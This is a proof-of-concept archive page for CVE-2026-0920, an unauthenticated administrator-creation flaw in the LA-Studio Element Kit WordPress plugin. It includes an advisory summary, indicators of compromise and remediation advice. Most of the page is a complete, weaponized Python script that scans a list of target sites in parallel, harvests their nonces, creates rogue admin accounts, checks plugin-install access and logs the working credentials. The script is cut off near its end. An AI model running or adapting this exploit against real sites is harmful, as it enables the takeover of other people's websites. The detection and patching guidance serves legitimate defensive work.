PoC Archive PoC Archive
Critical CVE-2026-0920 unpatched

LA-Studio Element Kit for Elementor — Unauthenticated Admin Account Creation (CVE-2026-0920)

by Nxploited · 2026-07-05

CVSS 9.8/10
Severity
Critical
CVE
CVE-2026-0920
Category
web
Affected product
LA-Studio Element Kit for Elementor (WordPress plugin, slug lakit)
Affected versions
All versions up to and including 1.5.6.3
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-04
Author / ResearcherNxploited
CVE / AdvisoryCVE-2026-0920
Categoryweb
SeverityCritical
CVSS Score9.8 (CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
StatusWeaponized
Tagswordpress, plugin, elementor, privilege-escalation, admin-takeover, unauthenticated, ajax, wp-ajax
RelatedN/A

Affected Target

FieldValue
Software / SystemLA-Studio Element Kit for Elementor (WordPress plugin, slug lakit)
Versions AffectedAll versions up to and including 1.5.6.3
Language / PlatformPHP / WordPress, PoC written in Python 3.10+
Authentication RequiredNo
Network Access RequiredYes

Summary

LA-Studio Element Kit for Elementor registers an unauthenticated AJAX action (wp_ajax_nopriv_lakit_ajax) that handles front-end user registration requests. The handler builds a wp_insert_user() call directly from attacker-supplied POST data, including a lakit_bkrole field that is passed straight into the role key with no whitelist or capability check. Because the AJAX nonce required to reach the handler is exposed unauthenticated in the site’s front-end HTML/JS, an attacker can harvest it and submit a single crafted registration request that creates a fully privileged administrator account. The included PoC automates nonce harvesting, sends the malicious registration payload, and then verifies success by logging in and confirming access to wp-admin/plugin-install.php.


Vulnerability Details

Root Cause

The plugin’s ajax_register_handle() method decodes a JSON actions parameter from the request body and forwards the caller-controlled lakit_bkrole value directly as the role field to wp_insert_user(), with no server-side validation against the list of legitimate self-registration roles.

Attack Vector

  1. Send a GET request to the target site’s homepage or another public page and extract the AJAX nonce from inline JSON/JS (ajaxNonce).
  2. Send a POST to /wp-admin/admin-ajax.php with action=lakit_ajax, the harvested nonce, and an actions payload whose data.lakit_bkrole field requests the administrator role.
  3. The plugin silently creates the account with administrator privileges.
  4. Log in with the newly created credentials and confirm access to admin-only pages (e.g. plugin install) to verify full takeover.

Impact

A completely unauthenticated attacker can obtain full WordPress administrator access in a single HTTP request, enabling arbitrary plugin/theme installation, content tampering, and typically full server compromise via a webshell upload.


Environment / Lab Setup

Target:   WordPress site running LA-Studio Element Kit for Elementor <= 1.5.6.3
Attacker: Python 3.10+, `pip install requests colorama`

Proof of Concept

PoC Script

See CVE-2026-0920.py in this folder.

1
python CVE-2026-0920.py

The script reads a list of target URLs, harvests each site’s AJAX nonce, submits the crafted registration request with an attacker-chosen username/password/email and lakit_bkrole set to trigger admin assignment, then performs a real login and admin-page-access check to confirm success. Verified successes are written to success_results.txt.


Detection & Indicators of Compromise

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=lakit_ajax&_nonce=<VALUE>&actions={"req1":{"action":"register","data":{...,"lakit_bkrole":"1",...}}}

Signs of compromise:

  • Unexpected new administrator accounts in Users list, especially created via AJAX rather than the normal admin UI.
  • Server/access logs showing POST requests to admin-ajax.php containing lakit_ajax and lakit_bkrole.
  • New plugin/theme installs shortly after an unrecognized admin account was created.

Remediation

ActionDetail
Primary fixUpdate LA-Studio Element Kit for Elementor to a version above 1.5.6.3
Interim mitigationDeactivate/remove the plugin until patched; audit all administrator accounts; block unauthenticated POSTs to admin-ajax.php containing lakit_bkrole at the WAF layer

References


Notes

Mirrored from https://github.com/Nxploited/CVE-2026-0920- on 2026-07-05.

CVE-2026-0920.py
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import threading
import requests
import random
import os
import sys
import urllib3
import warnings
from queue import Queue
from colorama import init, Fore, Style
import re
import time

# ======================= Init =======================

init(autoreset=True)
os.environ["NO_PROXY"] = "*"
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
warnings.filterwarnings("ignore", category=urllib3.exceptions.InsecureRequestWarning)

TELEGRAM_HANDLE = "@KNxploited"
GITHUB_HANDLE = "Nxploited"

# Credentials used in exploit
ADMIN_EMAIL = "adminSA12@exploit.com"     # يمكنك تعديله
ADMIN_PASSWORD = "adminSA"               # يمكنك تعديله
ADMIN_USERNAME = "Nx_admin"              # يمكنك تعديله

RESULT_FILE = "success_results.txt"
MAX_THREADS = 50

BANNER = f"""{Fore.CYAN}
   _____   _____   ___ __ ___  __      __  ___ ___ __  
  / __\\ \\ / / __|_|_  )  \\_  )/ / ___ /  \\/ _ \\_  )  \\ 
 | (__ \\ V /| _|___/ / () / // _ \\___| () \\_, // / () |
  \\___| \\_/ |___| /___\\__/___\\___/    \\__/ /_//___\\__/ 
{Style.RESET_ALL}{Fore.MAGENTA}
------------------------------------------------------------
  By: Nxploited  |  GitHub: {GITHUB_HANDLE}
------------------------------------------------------------
{Style.RESET_ALL}
"""

# ======================= Logging helpers =======================

def log_info(site, msg):
    ts = time.strftime("%H:%M:%S")
    print(f"[{ts}] {Fore.CYAN}[*]{Style.RESET_ALL} {site} - {msg}")

def log_ok(site, msg):
    ts = time.strftime("%H:%M:%S")
    print(f"[{ts}] {Fore.GREEN}[+]{Style.RESET_ALL} {site} - {msg}")

def log_warn(site, msg):
    ts = time.strftime("%H:%M:%S")
    print(f"[{ts}] {Fore.YELLOW}[!]{Style.RESET_ALL} {site} - {msg}")

def log_err(site, msg):
    ts = time.strftime("%H:%M:%S")
    print(f"[{ts}] {Fore.RED}[-]{Style.RESET_ALL} {site} - {msg}")

# ======================= Helpers =======================

def random_user_agent():
    agents = [
        "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 "
        "(KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
        "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:115.0) Gecko/20100101 Firefox/115.0",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 "
        "(KHTML, like Gecko) Version/14.1.2 Safari/605.1.15",
    ]
    return random.choice(agents)

def normalize_base(site: str) -> str:
    site = site.strip()
    if not site.startswith(("http://", "https://")):
        site = "https://" + site
    return site.rstrip("/")

# ======================= ajaxNonce extraction =======================

def extract_ajax_nonce(site: str, timeout: int = 10) -> str | None:
    """
    يحاول استخراج ajaxNonce من أكثر من شكل وأكثر من مسار:
    - "ajaxNonce": "value"
    - ajaxNonce: "value"
    - data-ajaxnonce / data-ajax-nonce داخل HTML attributes
    """

    base = normalize_base(site)
    headers = {"User-Agent": random_user_agent()}

    # توسيع المسارات الشائعة للـ front page
    paths = [
        "",
        "/",
        "/index.php",
        "/home",
        "/start",
        "/?page_id=1",
    ]

    for path in paths:
        url = base + path
        try:
            resp = requests.get(url, headers=headers, timeout=timeout, verify=False)
        except Exception:
            continue

        if resp.status_code != 200:
            continue

        html = resp.text

        # 1) الشكل الكلاسيكي في JSON/JS
        m = re.search(r'"ajaxNonce"\s*:\s*"([a-zA-Z0-9_-]{5,})"', html)
        if m:
            return m.group(1)

        # 2) أنماط أخرى في السكربت أو الـ data-attributes
        patterns = [
            r"ajaxNonce['\"]?\s*:\s*['\"]([a-zA-Z0-9_-]{5,})['\"]",
            r"['\"]ajaxNonce['\"]\s*[:=]\s*['\"]([a-zA-Z0-9_-]{5,})['\"]",
            r"data-ajaxnonce=['\"]([a-zA-Z0-9_-]{5,})['\"]",
            r"data-ajax-nonce=['\"]([a-zA-Z0-9_-]{5,})['\"]",
        ]

        for pat in patterns:
            m2 = re.search(pat, html, re.IGNORECASE)
            if m2:
                return m2.group(1)

    return None

# ======================= Exploit request =======================

def lakit_register_admin(
    site: str,
    nonce: str,
    email: str,
    password: str,
    username: str,
    timeout: int = 15,
) -> tuple[int, str]:
    """
    تنفيذ استغلال LaStudioKit:
    - entrypoint: /wp-admin/admin-ajax.php?action=lakit_ajax&_nonce=<nonce>
    - action: register
    - data:
        * email / password / username
        * lakit_field_log = "yes"  -> استخدام الـ username المُرسل
        * lakit_field_pwd = "yes"  -> استخدام الـ password المُرسل
        * lakit_field_cpwd = "no"  -> تعطيل شرط password-confirm
        * lakit_bkrole != empty    -> تفعيل فلتر حقن meta (wp_capabilities=['administrator'=>1])
        * lakit_recaptcha_response = "" (reCAPTCHA v3 غالبًا غير مفعّلة افتراضيًا)
    """
    base = normalize_base(site)
    endpoint = f"{base}/wp-admin/admin-ajax.php"

    sess = requests.Session()
    sess.verify = False
    sess.headers.update(
        {
            "User-Agent": random_user_agent(),
            "Accept": "*/*",
            "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
        }
    )

    actions_payload = (
        "{"
        '"req1":{'
        '"action":"register",'
        '"data":{'
        f'"email":"{email}",'
        f'"password":"{password}",'
        f'"username":"{username}",'
        '"lakit_field_log":"yes",'
        '"lakit_field_pwd":"yes",'
        '"lakit_field_cpwd":"no",'
        '"lakit_bkrole":"1",'
        '"lakit_recaptcha_response":""'
        "}"
        "}"
        "}"
    )

    data = {
        "action": "lakit_ajax",
        "_nonce": nonce,
        "actions": actions_payload,
    }

    try:
        r = sess.post(endpoint, data=data, timeout=timeout, allow_redirects=True)
    except Exception as e:
        return 0, f"REQUEST_EXCEPTION: {e}"

    return r.status_code, (r.text or "")

# ======================= Strong admin verification =======================

def verify_full_admin(site: str, username: str, password: str, timeout: int = 10) -> bool:
    base = normalize_base(site)
    login_url = f"{base}/wp-login.php"

    sess = requests.Session()
    sess.verify = False

    headers = {"User-Agent": random_user_agent()}
    try:
        sess.get(login_url, timeout=timeout, verify=False, headers=headers)
    except Exception:
        pass

    login_data = {
        "log": username.strip(),
        "pwd": password,
        "wp-submit": "Log In",
        "testcookie": "1",
    }

    headers = {
        "User-Agent": random_user_agent(),
        "Cookie": "wordpress_test_cookie=WP Cookie check",
        "Content-Type": "application/x-www-form-urlencoded",
        "Referer": login_url,
    }

    try:
        r = sess.post(
            login_url,
            data=login_data,
            headers=headers,
            timeout=timeout,
            verify=False,
            allow_redirects=True,
        )
    except Exception:
        return False

    content = (r.text or "").lower()

    failure_indicators = [
        "incorrect username or password",
        "invalid username",
        "invalid password",
        "error: the username",
        "is not registered",
        "authentication failed",
        "login failed",
        "unknown username",
        "error: the password you entered",
    ]
    if any(ind in content for ind in failure_indicators):
        return False

    success_indicators = [
        "dashboard",
        "wp-admin-bar",
        "adminmenu",
        "wp-admin/index.php",
        "wp-admin/profile.php",
    ]
    could_be_logged_in = any(ind in content for ind in success_indicators)

    cookie_header = r.headers.get("Set-Cookie", "")
    if "wordpress_logged_in" in cookie_header or any(
        c.name.startswith("wordpress_logged_in") for c in sess.cookies
    ):
        could_be_logged_in = True

    if not could_be_logged_in:
        return False

    admin_urls = [
        f"{base}/wp-admin/plugin-install.php",
        f"{base}/wp-admin/plugin-install.php?tab=upload",
        f"{base}/wp-admin/plugins.php?page=plugin-install",
    ]

    try:
        for u in admin_urls:
            try:
                rr = sess.get(
                    u,
                    timeout=timeout,
                    verify=False,
                    headers={"User-Agent": random_user_agent()},
                    allow_redirects=False,
                )
            except Exception:
                continue

            if rr.status_code == 200 and "wp-login.php" not in (rr.url or ""):
                txt = (rr.text or "").lower()
                installation_indicators = [
                    "plugin-install-tab",
                    "upload-plugin",
                    "plugin-upload-form",
                    "install-plugin-upload",
                    "pluginzip",
                    "browse plugins",
                    "add plugins",
                ]
                if any(ind in txt for ind in installation_indicators):
                    return True

            elif rr.status_code in (301, 302):
                loc = rr.headers.get("Location", "")
                if "wp-login.php" in loc:
                    return False
    except Exception:
        pass

    return False

# ======================= Worker =======================

def worker(thread_id, targets_chunk, out_queue):
    for site in targets_chunk:
        base = normalize_base(site)
        try:
            print(Fore.BLUE + "-" * 70 + Style.RESET_ALL)
            log_info(base, "Starting target")

            nonce = extract_ajax_nonce(base)
            if not nonce:
                log_warn(base, "kay not found")
                out_queue.put(("failed", site, "nonce-not-found"))
                continue

            log_ok(base, f"kay: {nonce}")

            status_code, resp_text = lakit_register_admin(
                base, nonce, ADMIN_EMAIL, ADMIN_PASSWORD, ADMIN_USERNAME
            )

            log_info(base, f"AJAX HTTP status: {status_code}")

            # إزالة طباعة الرد الخام لتقليل الضوضاء في الترمنال
            # print(Fore.MAGENTA + f"==== RAW AJAX RESPONSE ({base}) ====" + Style.RESET_ALL)
            # print(resp_text)
            # print(Fore.MAGENTA + "==== END RAW AJAX RESPONSE ====\n" + Style.RESET_ALL)

            if status_code != 200:
                log_warn(base, "Non-200 HTTP status from admin-ajax")
                out_queue.put(("failed", site, f"http-{status_code}"))
                continue

            low = resp_text.lower()
            response_success = False
            success_markers = [
                "created successfully",
                '"success":true',
                "'success':true",
                '"type":"success"',
                '"status":"success"',
            ]
            if any(m in low for m in success_markers):
                response_success = True
                log_ok(base, "AJAX response indicates success")

            login_ok = verify_full_admin(base, ADMIN_USERNAME, ADMIN_PASSWORD)
            log_info(
                base,
                f"Full admin verification (login + plugin install access): "
                f"{'OK' if login_ok else 'FAIL'}",
            )

            if response_success and login_ok:
                print(Fore.GREEN + "=" * 60 + Style.RESET_ALL)
                print(Fore.GREEN + "[ SUCCESS BLOCK ]" + Style.RESET_ALL)
                print(
                    f"{Fore.GREEN}Site        :{Style.RESET_ALL} {base}\n"
                    f"{Fore.GREEN}Result      :{Style.RESET_ALL} SUCCESS\n"
                    f"{Fore.GREEN}AJAX OK     :{Style.RESET_ALL} YES\n"
                    f"{Fore.GREEN}FULL ADMIN  :{Style.RESET_ALL} YES (login + plugin install access)"
                )
                print(Fore.GREEN + "=" * 60 + Style.RESET_ALL)

                status_line = (
                    f"{base} | USERNAME:{ADMIN_USERNAME} | EMAIL:{ADMIN_EMAIL} "
                    f"| PASSWORD:{ADMIN_PASSWORD} "
                    f"| LOGIN:FULL_ADMIN_OK "
                    f"| RESP_SUCCESS:YES "
                    f"| NONCE:{nonce}"
                )
                write_result(RESULT_FILE, status_line)
                out_queue.put(("success", site))

            elif response_success and not login_ok:
                log_warn(
                    base,
                    "AJAX indicates success but full admin verification failed "
                    "(maybe account created without admin capabilities or mail/activation flow).",
                )
                out_queue.put(("failed", site, "ajax-success-login-failed"))

            elif not response_success and login_ok:
                log_warn(
                    base,
                    "Full admin login OK but no AJAX success marker "
                    "(possible pre-existing admin user or custom response).",
                )
                out_queue.put(("failed", site, "login-success-no-ajax-marker"))

            else:
                log_warn(base, "No AJAX success marker and full admin verification failed")
                out_queue.put(("failed", site, "no-success-marker-and-login-failed"))

        except Exception as e:
            log_err(base, f"Exception: {e}")
            out_queue.put(("failed", site, "exception"))

# ======================= Utils =======================

def chunkify(lst, n):
    if n <= 0:
        n = 1
    return [lst[i::n] for i in range(n)]

def write_result(filename, data):
    with open(filename, "a", encoding="utf-8") as f:
        f.write(data + "\n")

def read_targets(filename):
    targets = []
    try:
        with open(filename, "r", encoding="utf-8") as f:
            for line in f:
                url = line.strip()
                if url:
                    targets.append(url)
    except FileNotFoundError:
        print(f"Targets file not found: {filename}")
        sys.exit(1)
    return targets

# ======================= Output helpers =======================

def print_success_global():
    print(Fore.GREEN + "\n" + "#" * 60 + Style.RESET_ALL)
    print(
        Fore.GREEN
        + "#  Exploit finished: some targets reported SUCCESS.          #"
        + Style.RESET_ALL
    )
    print(
        Fore.GREEN
        + f"#  Results saved to: {RESULT_FILE:<35}#"
        + Style.RESET_ALL
    )
    print(Fore.GREEN + "#" * 60 + Style.RESET_ALL)

def print_failed_global():
    print(Fore.RED + "\nNo successful targets detected." + Style.RESET_ALL)

def printer_loop(queue):
    any_success = False
    while True:
        item = queue.get()
        if item is None:
            break
        typ = item[0]
        if typ == "success":
            any_success = True
    if any_success:
        print_success_global()
    else:
        print_failed_global()

# ======================= Main =======================

def main():
    print(BANNER)
    print(
        Fore.CYAN
        + " LaStudioKit Admin Register (Refined Exploit + Strong Verification)"
        + Style.RESET_ALL
    )
    print(Fore.CYAN + "-" * 70 + Style.RESET_ALL)

    list_file = input("Enter targets list filename (e.g. list.txt): ").strip()
    if not list_file:
        list_file = "list.txt"

    try:
        num_threads = int(input("Enter number of threads (1-50): ").strip())
        num_threads = max(1, min(num_threads, MAX_THREADS))
    except Exception:
        num_threads = 10

    targets = read_targets(list_file)
    if not targets:
        print("No targets loaded.")
        sys.exit(1)

    safe_threads = min(num_threads, max(1, min(MAX_THREADS, len(targets))))
    queue = Queue()
    threads = []
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